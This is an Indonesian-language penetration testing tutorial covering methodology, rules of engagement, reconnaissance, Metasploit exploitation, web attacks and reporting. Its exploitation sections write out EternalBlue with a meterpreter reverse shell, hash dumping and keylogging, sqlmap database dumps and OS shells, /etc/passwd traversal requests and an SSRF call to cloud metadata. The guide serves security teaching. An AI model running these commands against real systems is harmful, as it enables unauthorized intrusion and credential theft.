1. Pengenalan Penetration Testing
Penetration Testing (atau disingkat pentest) adalah simulasi serangan siber yang dilakukan secara sistematis dan terstruktur terhadap sistem, jaringan, atau aplikasi β dengan izin resmi dari pemilik sistem. Tujuannya adalah mengidentifikasi kelemahan keamanan sebelum penyerang sungguhan menemukannya.
Penetration testing berbeda dari vulnerability scanning yang hanya mendeteksi kerentanan. Dalam pentest, tester benar-benar mencoba mengeksploitasi kerentanan untuk membuktikan dampak nyata yang bisa terjadi. Ini memberikan gambaran yang lebih realistis tentang risiko keamanan yang dihadapi organisasi.
Jenis-Jenis Penetration Testing
| Jenis | Basis Pengetahuan | Simulasi | Kegunaan |
|---|---|---|---|
| Black Box | Tidak ada informasi β tester seperti penyerang asing | External attacker tanpa akses internal | Menguji pertahanan dari luar |
| White Box | Full akses β source code, arsitektur, kredensial | Insider threat atau code review | Analisis mendalam, coverage tinggi |
| Grey Box | Informasi parsial β beberapa akses terbatas | Authenticated user atau karyawan | Simulasi realistis, efisien |
Cakupan Penetration Testing
| Cakupan | Target | Contoh Tools |
|---|---|---|
| Network Pentest | Infrastruktur jaringan, server, firewall | Nmap, Metasploit, Nessus |
| Web Application Pentest | Aplikasi web, API, backend | Burp Suite, OWASP ZAP, sqlmap |
| Mobile App Pentest | Aplikasi Android/iOS | APKTool, Frida, MobSF |
| Social Engineering | Manusia β phishing, pretexting | GoPhish, SET Framework |
| Wireless Pentest | WiFi, Bluetooth, protokol nirkabel | Aircrack-ng, Kismet |
| Physical Pentest | Akses fisik ke gedung/ruang server | Lockpicks, RFID cloners |
Penetration testing HARUS selalu dilakukan dengan izin resmi tertulis dari pemilik sistem. Melakukan testing tanpa izin adalah tindak pidana yang dapat diancam hukuman berdasarkan UU ITE (Undang-Undang Informasi dan Transaksi Elektronik). Selalu pastikan ada scope of work dan rules of engagement yang disetujui kedua belah pihak sebelum memulai.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β PENETRATION TESTING TYPES β β β β BLACK BOX GREY BOX WHITE BOX β β ββββββββββββ ββββββββββββ ββββββββββββ β β β ββββββββ β β ββββββββ β β ββββββββ β β β β ββββββββ β β ββββββββ β β ββββββββ β β β β ββββββββ β β ββββββββ β β ββββββββ β β β β ββββββββ β β ββββββββ β β ββββββββ β β β ββββββββββββ ββββββββββββ ββββββββββββ β β Tidak tahu Tahu sebagian Tahu semuanya β β apa-apa sistem (code, infra) β β β β ββββ = Pengetahuan tester β β ββββ = Area yang tidak diketahui β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
2. Methodology & Framework
Penetration testing yang profesional selalu mengikuti methodology yang terstruktur dan terdokumentasi. Ini memastikan testing dilakukan secara menyeluruh, konsisten, dan hasilnya dapat dipertanggungjawabkan. Beberapa framework populer yang digunakan di industri:
PTES (Penetration Testing Execution Standard)
| Fase | Aktivitas | Durasi Khas |
|---|---|---|
| 1. Pre-engagement | Scope, rules of engagement, kontrak, legal | 1-2 minggu |
| 2. Intelligence Gathering | OSINT, footprinting, informasi publik | 1-3 hari |
| 3. Threat Modeling | Identifikasi aset kritis dan vektor serangan | 1 hari |
| 4. Vulnerability Analysis | Scanning dan identifikasi kelemahan | 2-3 hari |
| 5. Exploitation | Mencoba mengeksploitasi kelemahan yang ditemukan | 3-5 hari |
| 6. Post-Exploitation | Privilege escalation, lateral movement, data exfil | 2-3 hari |
| 7. Reporting | Dokumentasi temuan, rekomendasi, executive summary | 3-5 hari |
OWASP Testing Guide
Untuk web application pentest, OWASP Testing Guide adalah referensi utama. Panduan ini mencakup:
OWASP Web Testing Guide v4.2 β Fase Testing: 1. Information Gathering βββ Review webserver metafiles (robots.txt, sitemap.xml) βββ Fingerprint web server (Nmap, WhatWeb) βββ Enumerate applications on webserver βββ Review webpage content and comments 2. Configuration & Deployment Management βββ Test network infrastructure configuration βββ Test application platform configuration βββ Test file extensions handling 3. Identity Management βββ Test role definitions βββ Test user registration process βββ Test account provisioning process 4. Authentication Testing βββ Test credentials transport (HTTPS) βββ Test default credentials βββ Test brute force protection βββ Test browser cache management 5. Authorization Testing βββ Test directory traversal βββ Test privilege escalation βββ Test insecure direct object references (IDOR) 6. Session Management Testing βββ Test session token strength βββ Test cookie attributes βββ Test session fixation 7. Input Validation Testing βββ Test Reflected XSS / Stored XSS / DOM XSS βββ Test SQL injection βββ Test HTTP verb tampering βββ Test HTTP parameter pollution
Rules of Engagement (RoE)
RULES OF ENGAGEMENT β Penetration Test Proyek : PT. Contoh Corp β Web Application Security Assessment Tanggal : 1-15 Juli 2026 Tester : Tim Keamanan BeebaneLabs Kontak Darurat: security@contoh.com | +62-xxx-xxx === SCOPE === Target yang DIIZINKAN untuk di-test: β https://app.contoh.com β https://api.contoh.com β 192.168.1.0/24 (network range) Target yang TIDAK diizinkan: β https://payment.contoh.com (sistem pembayaran β out of scope) β Production database β read-only akses β Denial of Service (DoS) attack === RULES === 1. Testing hanya dilakukan pada jam: 22:00 - 06:00 WIB (off-hours) 2. Jika menemukan data sensitif (PII), hentikan dan laporkan segera 3. Jika menemukan backdoor yang sudah ada, laporkan IMMEDIATELY 4. Semua temuan harus didokumentasikan dengan screenshot/video 5. Akses yang didapat harus dihapus setelah testing selesai 6. Laporan final diserahkan dalam 5 hari kerja setelah testing 7. Komunikasi darurat: jika sistem down, hubungi NOC segera === TANDA TANGAN === Client Representative: _______________ Penetration Tester : _______________
3. Reconnaissance (Pengintaian)
Reconnaissance atau pengintaian adalah fase pertama dan paling krusial dalam penetration testing. Di fase ini, tester mengumpulkan sebanyak mungkin informasi tentang target β tanpa menyentuh sistem target secara langsung (passive) atau dengan interaksi minimal (active). Semakin banyak informasi yang dikumpulkan, semakin besar peluang keberhasilan exploit.
Passive Reconnaissance
Pengumpulan informasi tanpa berinteraksi langsung dengan target:
# ============================================= # PASSIVE RECONNAISSANCE β Tidak menyentuh target # ============================================= # 1. WHOIS Lookup β Informasi registrasi domain whois contoh.com # Hasil: registrar, nama pemilik, tanggal expired, nameserver # 2. DNS Enumeration # Menggunakan dig untuk mencari record DNS dig contoh.com ANY # Semua record dig contoh.com A # IPv4 address dig contoh.com AAAA # IPv6 address dig contoh.com MX # Mail server dig contoh.com NS # Name server dig contoh.com TXT # TXT record (SPF, DKIM, dll) dig contoh.com SOA # Start of Authority # 3. Subdomain Discovery (OSINT) # Mencari subdomain dari berbagai sumber publik subfinder -d contoh.com # Passive subdomain enumeration amass enum -passive -d contoh.com # OWASP Amass # 4. Google Dorking β Pencarian Google yang cerdas # site:contoh.com filetype:pdf β Cari PDF di domain # site:contoh.com inurl:admin β Cari halaman admin # site:contoh.com intitle:"index of" β Cari directory listing # site:contoh.com ext:sql|ext:log β Cari file SQL/Log # 5. Wayback Machine β Cek arsip web # https://web.archive.org/web/*/contoh.com # Gunakan tool waybackurls: echo "contoh.com" | waybackurls | sort -u # 6. Shodan β Search engine untuk perangkat internet # https://www.shodan.io/search?query=hostname:contoh.com # Hasil: port terbuka, banner, OS, CVE # 7. GitHub Dorking β Cari kebocoran di source code # "contoh.com" password # "contoh.com" api_key # "contoh.com" secret_token
Active Reconnaissance
# ============================================= # ACTIVE RECONNAISSANCE β Berinteraksi dengan target # ============================================= # 1. Nmap β Port Scanning & Service Detection # Basic scan β scan 1000 port paling umum nmap -sV -sC -O target.com # Detail scan β semua port + versi service nmap -sV -sC -O -p- target.com -oA full_scan # Stealth scan β TCP SYN scan (lebih sulit dideteksi) nmap -sS -T3 target.com # Script scan β gunakan NSE scripts nmap --script vuln target.com # 2. Web Technology Fingerprinting whatweb target.com # Deteksi CMS, framework, library wappalyzer (browser extension) # Deteksi teknologi web # 3. Directory & File Bruteforce gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt dirsearch -u https://target.com -e php,asp,aspx,jsp # 4. Subdomain Bruteforce (Active) gobuster dns -d target.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt # 5. WAF Detection wafw00f https://target.com # 6. SSL/TLS Analysis sslscan target.com testssl.sh target.com
- Selalu mulai dengan passive recon β lebih aman dan tidak terdeteksi
- Dokumentasikan SEMUA informasi yang ditemukan β bahkan yang tampaknya tidak penting
- Gunakan multiple tools untuk cross-reference hasil
- Simpan semua output ke file:
nmap -oA hasil_scan target - Buat mind map atau diagram untuk memvisualisasikan attack surface
4. Scanning & Enumeration
Setelah fase reconnaissance, tahap selanjutnya adalah scanning dan enumeration β di mana kita secara aktif memindai target untuk menemukan port terbuka, service yang berjalan, versi software, dan kerentanan yang diketahui. Fase ini membangun fondasi untuk exploitation.
Network Scanning dengan Nmap
# ============================================= # NMAP ADVANCED SCANNING TECHNIQUES # ============================================= # 1. Service Version Detection + OS Detection + Default Scripts nmap -sV -sC -O -T4 192.168.1.0/24 -oA network_scan # Output contoh: # PORT STATE SERVICE VERSION # 22/tcp open ssh OpenSSH 8.9p1 # 80/tcp open http Apache/2.4.52 # 443/tcp open https nginx/1.18.0 # 3306/tcp open mysql MySQL 8.0.30 # OS: Linux 5.15 (Ubuntu 22.04) # 2. Vulnerability Scanning dengan NSE Scripts nmap --script vuln 192.168.1.10 # Scripts: smb-vuln-ms17-010, http-shellshock, ssl-heartbleed # 3. UDP Scanning (sering diabaikan!) nmap -sU --top-ports 50 192.168.1.10 # Menemukan service UDP: DNS, SNMP, NTP # 4. Scan untuk web application directories nmap --script http-enum 192.168.1.10 # 5. SMB Enumeration (Windows targets) nmap --script smb-enum-shares,smb-enum-users 192.168.1.20 # 6. Nikto β Web Server Vulnerability Scanner nikto -h https://target.com -output nikto_report.html # Mengecek: misconfigurations, outdated software, dangerous files # 7. Nuclei β Template-based vulnerability scanner nuclei -u https://target.com -t cves/ nuclei -u https://target.com -t vulnerabilities/ nuclei -l urls.txt -t misconfiguration/ -o results.txt
Web Application Scanning
Web Application Scanning Workflow:
Step 1: Spider/Crawl aplikasi
βββ Burp Suite Spider / OWASP ZAP Spider
βββ Hasil: daftar semua URL, parameter, form
Step 2: Passive Scan
βββ Intercept semua traffic dan analisis tanpa mengubah request
βββ Hasil: insecure headers, cookie tanpa flags, info leakage
Step 3: Active Scan
βββ Kirim payload test ke setiap parameter dan endpoint
βββ Hasil: XSS, SQLi, CSRF, path traversal, dll.
Step 4: API Testing
βββ Test semua endpoint API secara manual
βββ Tools: Postman, Burp Suite
βββ Cek: authentication, authorization, input validation
Step 5: Authentication Testing
βββ Test brute force, default creds, password policy
βββ Test session management (timeout, fixation, hijacking)
Step 6: Manual Testing
βββ Business logic flaws yang tidak bisa dideteksi scanner
βββ Race conditions, access control bypass
βββ Multi-step process manipulation
5. Exploitation (Eksploitasi)
Fase exploitation adalah inti dari penetration testing β di mana tester benar-benar memanfaatkan kerentanan yang ditemukan untuk mendapatkan akses ke sistem. Ini membuktikan bahwa kerentanan tersebut memiliki dampak nyata dan bukan sekadar teori.
Metasploit Framework
# ============================================= # METASPLOIT FRAMEWORK β Exploitation Toolkit # ============================================= # Memulai Metasploit msfconsole # Cari exploit berdasarkan nama/CVE msf6 > search eternalblue msf6 > search cve:2021-44228 # Log4Shell # Gunakan exploit EternalBlue (MS17-010) msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 > set RHOSTS 192.168.1.20 msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 > set LHOST 192.168.1.5 msf6 > set LPORT 4444 msf6 > show options # Verifikasi konfigurasi msf6 > exploit # Jalankan exploit # Setelah mendapat Meterpreter session: meterpreter > sysinfo # Info sistem meterpreter > getuid # Current user meterpreter > hashdump # Dump password hashes meterpreter > shell # Drop ke system shell meterpreter > screenshot # Screenshot desktop meterpreter > keyscan_start # Mulai keylogger meterpreter > migrate 1234 # Pindah ke process lain # Post-exploitation modules meterpreter > run post/windows/gather/enum_applications meterpreter > run post/multi/manage/shell_to_meterpreter
Manual Web Exploitation
# ============================================= # WEB APPLICATION EXPLOITATION # ============================================= # 1. SQL Injection dengan sqlmap # Automated SQL injection detection & exploitation sqlmap -u "https://target.com/page?id=1" --dbs sqlmap -u "https://target.com/page?id=1" -D database_name --tables sqlmap -u "https://target.com/page?id=1" -D db -T users --dump # Dengan POST request sqlmap -u "https://target.com/login" --data="user=admin&pass=test" -p user # Dengan cookie autentikasi sqlmap -u "https://target.com/admin?id=1" --cookie="session=abc123" # OS Shell via SQL injection sqlmap -u "https://target.com/page?id=1" --os-shell # 2. Directory Traversal # Membaca file di luar webroot curl "https://target.com/download?file=../../../etc/passwd" curl "https://target.com/download?file=....//....//....//etc/passwd" # 3. SSRF (Server-Side Request Forgery) # Mengakses service internal melalui server web curl "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/" # Ini bisa mengakses AWS metadata! # 4. File Upload Bypass # Bypass filter untuk upload shell web # Mengubah ekstensi: shell.php.jpg, shell.php%00.jpg # Mengubah MIME type: Content-Type: image/jpeg # Double extension: shell.php.jpg # Null byte: shell.php%00.png
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β EXPLOITATION WORKFLOW β β β β βββββββββββββββββ β β β Vulnerability β β β β Discovered β β β βββββββββ¬ββββββββ β β βΌ β β βββββββββββββββββ ββββββββββββββββ β β β Research CVE ββββββΆβ Find/Write β β β β & Exploit DB β β Exploit β β β βββββββββββββββββ ββββββββ¬ββββββββ β β βΌ β β ββββββββββββββββ β β β Testing β β β β in Lab β β β ββββββββ¬ββββββββ β β βΌ β β ββββββββββββββββ β β β Execute β β β β Exploit β β β ββββββββ¬ββββββββ β β βΌ β β βββββββββββββββββ΄βββββββββββββββ β β βΌ βΌ β β ββββββββββββββββ ββββββββββββββββ β β β Success! β β Failed β β β β Access! β β Try another β β β ββββββββββββββββ ββββββββββββββββ β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
6. Reporting & Documentation
Reporting adalah fase paling penting β bahkan lebih penting dari exploitation itu sendiri. Laporan yang baik mengubah temuan teknis menjadi aksi perbaikan yang bisa dipahami oleh manajemen dan diterapkan oleh tim IT. Tanpa laporan yang baik, seluruh usaha penetration testing menjadi sia-sia.
Struktur Laporan Pentest
LAPORAN PENETRATION TESTING ============================ 1. EXECUTIVE SUMMARY (1-2 halaman) - Tujuan dan cakupan testing - Ringkasan temuan kritis (tanpa jargon teknis) - Risk rating keseluruhan - Rekomendasi prioritas untuk manajemen 2. SCOPE & METHODOLOGY - Target yang di-test - Tools yang digunakan - Methodology (PTES/OWASP) - Tanggal dan durasi testing 3. FINDINGS DETAIL Finding #1: SQL Injection pada Login Form βββ Severity : CRITICAL (CVSS 9.8) βββ Location : https://app.contoh.com/login βββ Description : Parameter 'username' vulnerable to SQL injection βββ Impact : Full database access, data exfiltration βββ Evidence : [Screenshot + Proof of Concept] βββ Remediation : Gunakan parameterized queries (prepared statements) βββ References : CWE-89, OWASP A03:2021 Finding #2: Missing Rate Limiting βββ Severity : HIGH (CVSS 7.5) βββ Location : https://app.contoh.com/api/auth βββ Description : No rate limiting on authentication endpoint βββ Impact : Brute force attack possible βββ Evidence : [1000 requests tanpa block] βββ Remediation : Implement rate limiting (5 attempts/15 min) βββ References : CWE-307, OWASP A07:2021 4. RISK MATRIX ββββββββββββββββ¬ββββββββ¬ββββββββββββββββββββββββββββ β Severity β Count β Description β ββββββββββββββββΌββββββββΌββββββββββββββββββββββββββββ€ β Critical β 2 β Immediate action required β β High β 5 β Action within 1 week β β Medium β 8 β Action within 1 month β β Low β 12 β Best practice improvements β β Informationalβ 6 β Observations β ββββββββββββββββ΄ββββββββ΄ββββββββββββββββββββββββββββ 5. APPENDIX - Full Nmap scan output - Raw Burp Suite scan data - Tool version information - Credentials created during testing (for cleanup)
Severity Classification
| Severity | CVSS Score | Response Time | Contoh |
|---|---|---|---|
| π΄ Critical | 9.0 - 10.0 | Immediate (24 jam) | RCE, SQL Injection, Auth Bypass |
| π High | 7.0 - 8.9 | 1 minggu | Stored XSS, Privilege Escalation |
| π‘ Medium | 4.0 - 6.9 | 1 bulan | CSRF, Information Disclosure |
| π’ Low | 0.1 - 3.9 | Quarterly | Missing headers, verbose errors |
| βΉοΈ Info | 0.0 | Best practice | Outdated software version |
7. Pengenalan Kali Linux
Kali Linux adalah distribusi Linux yang dirancang khusus untuk penetration testing, security research, dan digital forensics. Dikembangkan oleh Offensive Security, Kali Linux hadir dengan lebih dari 600 tools keamanan yang sudah terinstall dan dikonfigurasi. Ini adalah operating system yang paling banyak digunakan oleh ethical hacker dan security professional di seluruh dunia.
Setup Kali Linux
# ============================================= # KALI LINUX β Setup & Essential Commands # ============================================= # Download Kali Linux dari: https://www.kali.org/get-kali/ # Opsi instalasi: # 1. VM Image (VirtualBox/VMWare) β paling mudah untuk pemula # 2. Bootable USB β untuk bare metal installation # 3. WSL (Windows Subsystem for Linux) β untuk Windows # 4. Kali NetHunter β untuk Android # Update system setelah install sudo apt update && sudo apt upgrade -y # Install tools tambahan sudo apt install -y kali-linux-large # Collection populer sudo apt install -y kali-tools-web # Web app testing sudo apt install -y kali-tools-network # Network analysis sudo apt install -y kali-tools-exploitation # Exploitation tools # Tools yang WAJIB dikuasai: # ββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββββββββ # β Tool β Fungsi β # ββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββββ€ # β Nmap β Port scanning & enumeration β # β Burp Suite β Web app testing proxy β # β Metasploit β Exploitation framework β # β sqlmap β Automated SQL injection β # β John the Ripper β Password cracking β # β Hashcat β GPU-accelerated hash cracking β # β Aircrack-ng β Wireless network auditing β # β Wireshark β Network packet analysis β # β Gobuster β Directory/DNS brute-forcing β # β Nikto β Web server scanner β # β Hydra β Login brute-force β # β WPScan β WordPress vulnerability scanner β # β Recon-ng β Reconnaissance framework β # β Maltego β OSINT & link analysis β # ββββββββββββββββββββββ΄ββββββββββββββββββββββββββββββββββββ
Lab Environment untuk Latihan
SETTING UP YOUR OWN PENTEST LAB
Tujuan: Berlatih penetration testing secara LEGAL di lingkungan sendiri
Required:
- PC/Laptop: RAM minimal 8GB, 50GB free disk
- VirtualBox atau VMWare Workstation (gratis)
VM yang harus diinstall:
1. Kali Linux (attacker machine)
βββ https://www.kali.org/get-kali/
2. Metasploitable 2/3 (vulnerable target)
βββ https://sourceforge.net/projects/metasploitable/
3. DVWA β Damn Vulnerable Web Application
βββ https://github.com/digininja/DVWA
4. OWASP WebGoat
βββ https://owasp.org/www-project-webgoat/
5. VulnHub machines (various difficulty)
βββ https://www.vulnhub.com/
Network Setup:
ββββββββββββββββ ββββββββββββββββ
β Kali Linux βββββββΊβ Metasploit. β
β (Attacker) β Host β (Target) β
β 192.168.1.5 β Only β 192.168.1.10β
ββββββββββββββββ Net ββββββββββββββββ
- Gunakan "Host Only Network" agar terisolasi dari internet
- JANGAN pernah targetkan VM ke internet!
Online Practice Platforms (LEGAL):
- TryHackMe (tryhackme.com) β Pemula sampai menengah
- HackTheBox (hackthebox.com) β Menengah sampai lanjut
- PentesterLab (pentesterlab.com) β Web app focused
- OverTheWire (overthewire.org) β Wargame challenges
- PicoCTF (picoctf.org) β CTF untuk pemula
- CEH (Certified Ethical Hacker) β Sertifikasi entry-level, diakui secara global
- CompTIA PenTest+ β Sertifikasi intermediate untuk pentester
- OSCP (Offensive Security Certified Professional) β Sangat prestisius, berbasis hands-on exam 24 jam
- eJPT (eLearnSecurity Junior Penetration Tester) β Bagus untuk memulai
- GPEN (GIAC Penetration Tester) β Advanced enterprise certification
8. Quiz: Uji Pemahamanmu!
Setelah membaca tutorial di atas, jawablah 5 pertanyaan berikut untuk menguji pemahamanmu tentang Penetration Testing: